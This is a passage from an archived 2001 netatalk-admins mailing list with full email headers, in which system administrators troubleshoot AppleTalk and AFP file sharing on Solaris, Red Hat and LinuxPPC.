modinfo shows the ddp device has loaded ok:

 88 f619a000   3be5  54   1  ddp (DDP Streams device)
 88 f619a000   3be5  19   1  ddp (DDP Streams module)

i have added :

  ddp        tpi_clts      -    appletalk ddp   /dev/ddp        -

to /etc/netconfig

The interesting thing is if I truss the startup of atalkd, i gives a 
load of EAFNOSUPPORT errors, as in :

  so_socket(16, 1, 0, "", 1)                      Err#124 EAFNOSUPPORT

Anyone any ideas?

cheers
Matt


From netatalk.administrators-errors@umich.edu  Thu Nov  8 13:09:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA12110
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 13:09:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA00719
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 13:09:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA00699
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 13:09:09 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA00648
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 13:09:07 -0500 (EST)
Received: (qmail 604 invoked by alias); 8 Nov 2001 18:06:31 -0000
Received: (qmail 590 invoked from network); 8 Nov 2001 18:06:31 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 8 Nov 2001 18:06:31 -0000
Subject: Re: netatalk with Solaris 8
From: Matthew Keller <kellermg@potsdam.edu>
To: Matthew Hallam <meh@aber.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <28216.1005240422@aber.ac.uk>
References: <28216.1005240422@aber.ac.uk>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.0+cvs.2001.11.06.15.04 (Preview Release)
Date: 08 Nov 2001 13:08:32 -0500
Message-Id: <1005242912.7630.17.camel@comp10574>
Mime-Version: 1.0


	Try going to the server manually by using the "Server Address" option
in the chooser, and typing in the IP address. I suspect it's a DDP
problem, not Netatalk.

On Thu, 2001-11-08 at 12:27, Matthew Hallam wrote:
> Hello all.
> 
> Im trying put in place a Solaris 8 box with netatalk-1.5pre8 and have 
> come to a halt. Ive got it compiled and installed ok.. but it doesnt 
> seem to be working (!).. ie it doesnt up in the apple's chooser, and when
> you do a nbplkup, none of the other macs (or indeed the other netatalk 
> server we're running) show up - just the local machine (they are all on 
> the same subnet).
> 
> The messages file looks like this:
> 
> Nov  8 10:02:28 barage atalkd[522]: [ID 602610 daemon.info] restart (1.5pre7)
> Nov  8 10:02:28 borage atalkd[522]: [ID 430690 daemon.info] setsockopt incompatible w/ Solaris STREAMS module.
> Nov  8 10:02:30 barage last message repeated 1 time
> Nov  8 10:02:30 barage atalkd[522]: [ID 875075 daemon.info] zip_getnetinfo for le0
> Nov  8 10:02:48 barage last message repeated 2 times
> Nov  8 10:02:58 barage atalkd[522]: [ID 882285 daemon.info] as_timer configured le0 phase 2 from seed
> Nov  8 10:02:58 barage atalkd[522]: [ID 128247 daemon.info] ready 0/0/0
> Nov  8 10:03:12 barage afpd[534]: [ID 950474 daemon.info] ASIP started on x.
> x.x.x:548(1) (1.5pre7)
> Nov  8 10:03:12 barage afpd[534]: [ID 526081 daemon.info] uam: uam not found (status=-1)
> 
> modinfo shows the ddp device has loaded ok:
> 
>  88 f619a000   3be5  54   1  ddp (DDP Streams device)
>  88 f619a000   3be5  19   1  ddp (DDP Streams module)
> 
> i have added :
> 
>   ddp        tpi_clts      -    appletalk ddp   /dev/ddp        -
> 
> to /etc/netconfig
> 
> The interesting thing is if I truss the startup of atalkd, i gives a 
> load of EAFNOSUPPORT errors, as in :
> 
>   so_socket(16, 1, 0, "", 1)                      Err#124 EAFNOSUPPORT
> 
> Anyone any ideas?
> 
> cheers
> Matt
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Nov  8 13:55:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA14935
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 13:55:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20197
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 13:55:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20185
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 13:55:10 -0500 (EST)
Received: from s14.mcn.mc (s14.mcn.mc [194.133.11.14])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA20145
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 13:55:08 -0500 (EST)
Received: from [192.168.244.177] (gw.binuscan.com [195.101.216.90])
	by s14.mcn.mc (8.12.1/8.12.1) with ESMTP id fA8It712028341
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 19:55:07 +0100 (MET)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 08 Nov 2001 19:56:37 +0100
Subject: Install Problem
From: Bruno LEDOUX <bruno_ledoux@binuscan.com>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B81093F5.88E2%bruno_ledoux@binuscan.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi ,

I just installed a RH 7.1 and wanted to install netatalk so I tried to
install it from the rpm (1.5 pre6) but I couldn't due to a file
libcrypto.so.0 missing (I tried a sym link but it dind't work).
So I downloaded the latest source distribution (1.5pre8) and build it with:

>configure 
>make install    

Now I have all the binaries in /usr/local/bin and sbin but I can't find the
Scripts for startup (those normally located in rc.d/initd) and don't know
how to finish installation and start things....

Any help appreciated

bruno


From netatalk.administrators-errors@umich.edu  Thu Nov  8 15:25:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA20837
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 15:25:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA09121
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 15:25:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA09075
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 15:25:09 -0500 (EST)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA09004
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 15:25:07 -0500 (EST)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 8 Nov 2001 20:25:23 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.1.R)
	for <netatalk-admins@umich.edu>; Thu, 08 Nov 2001 21:23:15 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 08 Nov 2001 21:23:21 +0100
Subject: Re: Install Problem
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B810A849.2C346%ts@visual-s.de>
In-Reply-To: <B81093F5.88E2%bruno_ledoux@binuscan.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

Did you try the Redhat option?

Do a configure --help to see which options are available
and a short explanation what they do.

-Thomas

On 2001-11-08 19:56 +0200, "Bruno LEDOUX"<bruno_ledoux@binuscan.com> wrote:

> Hi ,
> 
> I just installed a RH 7.1 and wanted to install netatalk so I tried to
> install it from the rpm (1.5 pre6) but I couldn't due to a file
> libcrypto.so.0 missing (I tried a sym link but it dind't work).
> So I downloaded the latest source distribution (1.5pre8) and build it with:
> 
>> configure 
>> make install    
> 
> Now I have all the binaries in /usr/local/bin and sbin but I can't find the
> Scripts for startup (those normally located in rc.d/initd) and don't know
> how to finish installation and start things....
> 
> Any help appreciated
> 
> bruno
> 

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Thu Nov  8 15:47:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22671
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 15:47:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA19964
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 15:47:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA19947
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 15:47:30 -0500 (EST)
Received: from mr4.cc.ic.ac.uk (mr4.cc.ic.ac.uk [155.198.5.114])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA19881
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 15:47:28 -0500 (EST)
Received: from icex9.cc.ic.ac.uk ([155.198.3.9])
	by mr4.cc.ic.ac.uk with esmtp (Exim 3.31 #1)
	id 161w59-0000oK-04
	for netatalk-admins@umich.edu; Thu, 08 Nov 2001 20:47:27 +0000
Received: from [155.198.13.55] (libnt35.lib.ic.ac.uk [155.198.13.55]) by icex9.cc.ic.ac.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id WGNXQ1QJ; Thu, 8 Nov 2001 20:47:27 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 08 Nov 2001 20:48:58 +0000
Subject: Yet another "password incorrect" problem
From: Bob Hobbs <i@bobhobbs.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B810A03A.1CF7%i@bobhobbs.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

I've been trying to install netatalk 1.5pre7 on linuxPPC (very similar to
redhat; uses PAM and shadow passwords), and getting what seems to be a
familiar problem in this list:  If I try to log into the server as an
existing user with the correct password, I get "Password Incorrect"; guest
login works fine.

I had previously got the same source tree to work fine on my RedHat 7 PC.
(Actually this is part of the problem; I've modified the code quite a lot
for my own purposes, so it would be very difficult for me to use a different
source code distribution now).

These are the things I've tried so far:
- adding "-DSHADOWPW" to the makefiles in etc/uams and etc/afpd
- using clear text passwords
- checked /etc/services and other config files
- basically everything mentioned in the archives back to 1997

This is the sort of thing I get in /var/log/messages when I try to log in:

-----SNIP--------

Nov  8 12:33:01 hfetoday afpd[18943]: ASIP started on 209.49.123.176:548(1)
(1.5
pre7)
Nov  8 12:33:01 hfetoday afpd[18943]: uam: uams_guest.so loaded
Nov  8 12:33:01 hfetoday afpd[18943]: uam: uams_clrtxt.so loaded
Nov  8 12:33:01 hfetoday afpd[18943]: uam: "Cleartxt Passwrd" available
Nov  8 12:33:01 hfetoday afpd[18943]: uam: "No User Authent" available
Nov  8 12:33:13 hfetoday afpd[18945]: ASIP session:548(1) from
155.198.13.55:493
27(0)
Nov  8 12:33:13 hfetoday afpd[18943]: server_child[1] 18945 done
Nov  8 12:33:20 hfetoday afpd[18946]: ASIP session:548(1) from
155.198.13.55:493
28(0)
Nov  8 12:33:20 hfetoday afpd[18946]: cleartext login: bob
Nov  8 12:33:20 hfetoday afpd[18946]: 0.07KB read, 0.07KB written
Nov  8 12:33:20 hfetoday afpd[18943]: server_child[1] 18946 done
Nov  8 12:33:27 hfetoday afpd[18947]: ASIP session:548(1) from
155.198.13.55:493
29(0)
Nov  8 12:33:28 hfetoday afpd[18947]: login noauth
Nov  8 12:33:28 hfetoday afpd[18947]: login bob (uid 508, gid 100)
Nov  8 12:33:31 hfetoday afpd[18947]: logout bob
Nov  8 12:33:31 hfetoday afpd[18947]: 0.18KB read, 0.17KB written
Nov  8 12:33:31 hfetoday afpd[18943]: server_child[1] 18947 done

------/SNIP----------

Any help on this would be greatly appreciated.

Thanks a lot,

--Bob


From netatalk.administrators-errors@umich.edu  Fri Nov  9 13:07:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA21872
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Nov 2001 13:07:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA07026
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Nov 2001 13:07:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA07017
	for netatalk.administrators-members@umich.edu; Fri, 9 Nov 2001 13:07:52 -0500 (EST)
Received: from s14.mcn.mc (s14.mcn.mc [194.133.11.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA07007
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 13:07:51 -0500 (EST)
Received: from [192.168.244.177] (gw.binuscan.com [195.101.216.90])
	by s14.mcn.mc (8.12.1/8.12.1) with ESMTP id fA9I7i12001560;
	Fri, 9 Nov 2001 19:07:47 +0100 (MET)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 09 Nov 2001 19:09:18 +0100
Subject: Re: Install Problem
From: Bruno LEDOUX <bruno_ledoux@binuscan.com>
To: Thomas Schierle <ts@visual-s.de>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B811DA5E.8903%bruno_ledoux@binuscan.com>
In-Reply-To: <B810A849.2C346%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 8/11/01 21:23, "Thomas Schierle" <ts@visual-s.de> wrote:

Hi and thanks,

It worked fine with the RedHat option : but now I have another problem, when
I try to connect from a Mac Client (OS9.04) I get a message saying that the
client doesn't support the authentification method ....

Any hints,

bruno

> Did you try the Redhat option?
> 
> Do a configure --help to see which options are available
> and a short explanation what they do.
> 
> -Thomas
> 
> On 2001-11-08 19:56 +0200, "Bruno LEDOUX"<bruno_ledoux@binuscan.com> wrote:
> 
>> Hi ,
>> 
>> I just installed a RH 7.1 and wanted to install netatalk so I tried to
>> install it from the rpm (1.5 pre6) but I couldn't due to a file
>> libcrypto.so.0 missing (I tried a sym link but it dind't work).
>> So I downloaded the latest source distribution (1.5pre8) and build it with:
>> 
>>> configure 
>>> make install   
>> 
>> Now I have all the binaries in /usr/local/bin and sbin but I can't find the
>> Scripts for startup (those normally located in rc.d/initd) and don't know
>> how to finish installation and start things....
>> 
>> Any help appreciated
>> 
>> bruno
>> 


From netatalk.administrators-errors@umich.edu  Fri Nov  9 15:45:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Nov 2001 15:45:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA01706
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Nov 2001 15:45:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA01687
	for netatalk.administrators-members@umich.edu; Fri, 9 Nov 2001 15:45:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA01654
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 15:45:05 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fA9Kj3u03340
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 21:45:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fA9Kj2pI026285
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 21:45:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fA9Kj2LA026283
	for netatalk-admins@umich.edu; Fri, 9 Nov 2001 21:45:02 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 162HPH-0005Wf-00; Fri, 09 Nov 2001 20:33:39 +0100
Date: Fri, 9 Nov 2001 20:33:39 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] quick guide to "hidden" folders in netatalk shares
Message-ID: <20011109203339.B21207@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <Pine.LNX.4.21.0110192251480.1361-100000@frank.gwc.org.uk> <3BD1B3BE.337B4CED@trewitt.org> <20011103151538.B31451@jroger.in-berlin.de> <13945.1004806509@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <13945.1004806509@deepeddy.com>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Nov 03, 2001 at 10:55:09AM -0600, Chris Garrigues wrote:

> Leland Wallace <randall@apple.com> posted a message on 16 Oct 2001 which 
> stated:
> 
> > The Finder trash behavior in Mac OS X does not currently work with afp 
> > volumes.
> > We are working on fixing it.
> 
> so I suspect that the correct thing to say is that this is currently broken 
> in 10.1, but is expected to be fixed.

I will add this text:

| Unfortunately networked trash handling is broken in current versions of
| Mac OS X even if this directory is writeable. Apple is aware of this
| problem and is working on a solution.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Nov  9 15:50:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29233
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Nov 2001 15:50:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA07827
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Nov 2001 15:50:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA07816
	for netatalk.administrators-members@umich.edu; Fri, 9 Nov 2001 15:50:34 -0500 (EST)
Received: from bsmrpop1.bsmr.uswest.net (bsmrpop1.bsmr.uswest.net [207.108.96.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA07792
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 15:50:33 -0500 (EST)
Received: (qmail 62260 invoked by alias); 9 Nov 2001 20:50:32 -0000
Delivered-To: fixup-netatalk-admins@umich.edu@fixme
Received: (qmail 62255 invoked by uid 0); 9 Nov 2001 20:50:32 -0000
Received: from jdslppp155.spkn.uswest.net (HELO chris) (63.227.185.156)
  by bsmrpop1.bsmr.uswest.net with SMTP; 9 Nov 2001 20:50:32 -0000
Message-ID: <000801c1695f$eb088be0$0700000a@chris>
From: "Chris" <nholland1@qwest.net>
To: <netatalk-admins@umich.edu>
References: <B811DA5E.8903%bruno_ledoux@binuscan.com>
Subject: privleages problem
Date: Fri, 9 Nov 2001 12:48:42 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Hi,
A problem just sprang up and I am having trouble narrowing it down.  The
problem is this.  I have two mac clients running MacOS 9 and one running
MacOS 8.  People can see the folder and execute things, but they can not
write to the share folders.  I checked promitions on the linux box and
everything was as they should be. wrx for those that are sapost to have it.
I checked the applevolume file all I have there is the share name and the
folder for the share.  Before this problem every thing was fine.  Any ideas?

Thanks,
Chris


From netatalk.administrators-errors@umich.edu  Fri Nov  9 15:58:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Nov 2001 15:58:48 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA17427
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Nov 2001 15:58:48 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA17417
	for netatalk.administrators-members@umich.edu; Fri, 9 Nov 2001 15:58:47 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA17405
	for <netatalk-admins@umich.edu>; Fri, 9 Nov 2001 15:58:46 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <WJ9DHCRJ>; Fri, 9 Nov 2001 15:52:40 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D73E2@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Remove
Date: Fri, 9 Nov 2001 15:52:33 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C16960.74B30230"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16960.74B30230
Content-Type: text/plain




------_=_NextPart_001_01C16960.74B30230
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Remove</TITLE>
</HEAD>
<BODY>
<BR>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C16960.74B30230--

From netatalk.administrators-errors@umich.edu  Sat Nov 10 06:00:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA28551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Nov 2001 06:00:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA06129
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Nov 2001 06:00:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA06107
	for netatalk.administrators-members@umich.edu; Sat, 10 Nov 2001 06:00:34 -0500 (EST)
Received: from orion2.ign.com.au (orion2.ign.com.au [203.30.192.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA05985
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 06:00:31 -0500 (EST)
Received: from ign.com.au (shanep@usr2-ppp02.ign.com.au [203.30.192.118])
	by orion2.ign.com.au (8.11.2/8.11.2) with ESMTP id fAA91u620312
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 20:01:57 +1100
Sender: shanep@orion2.ign.com.au
Message-ID: <3BED08C5.15F726B1@ign.com.au>
Date: Sat, 10 Nov 2001 22:00:21 +1100
From: Shane Pearson <shanep@ign.com.au>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.14-pre7 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Intergrating an MS Windows classroom with an Apple classroom?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all,

I have recently been requested to get an MS Windows
classroom, connected with ethernet to an Apple classroom,
on speaking terms. They are getting sick of moving data
from class to class with Zip disks and are not having
much joy with some smb-for-Apple type software.

So I was thinking of perhaps setting up a Linux or
FreeBSD machine, with Samba and netatalk with a common
share, as a go-between for their file sharing and maybe
also common print serving along with internet
gateway/proxy through their ISDN connection.

Does this sound like the best solution for sharing files
and printers between these two classes?

I've never used netatalk and don't yet have a Mac at
home, so I'm a little concerned that getting all this
going in a reasonable amount of time for them could be
difficult? I've also never touched ISDN, so I'm
interested to know whether Linux or FreeBSD is the
best solution with ISDN?


Many thanks,

Bye for now.

From netatalk.administrators-errors@umich.edu  Sat Nov 10 11:15:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Nov 2001 11:15:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01651
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Nov 2001 11:15:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01629
	for netatalk.administrators-members@umich.edu; Sat, 10 Nov 2001 11:15:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01579
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 11:15:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fAAGF3g28395
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 17:15:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAAGF2pI014780
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 17:15:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAAGF2ud014779
	for netatalk-admins@umich.edu; Sat, 10 Nov 2001 17:15:02 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 162a2u-0002mD-00
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 16:27:48 +0100
Date: Sat, 10 Nov 2001 16:27:47 +0100
To: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
Message-ID: <20011110162747.A3698@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <3BED08C5.15F726B1@ign.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3BED08C5.15F726B1@ign.com.au>
User-Agent: Mutt/1.3.22i
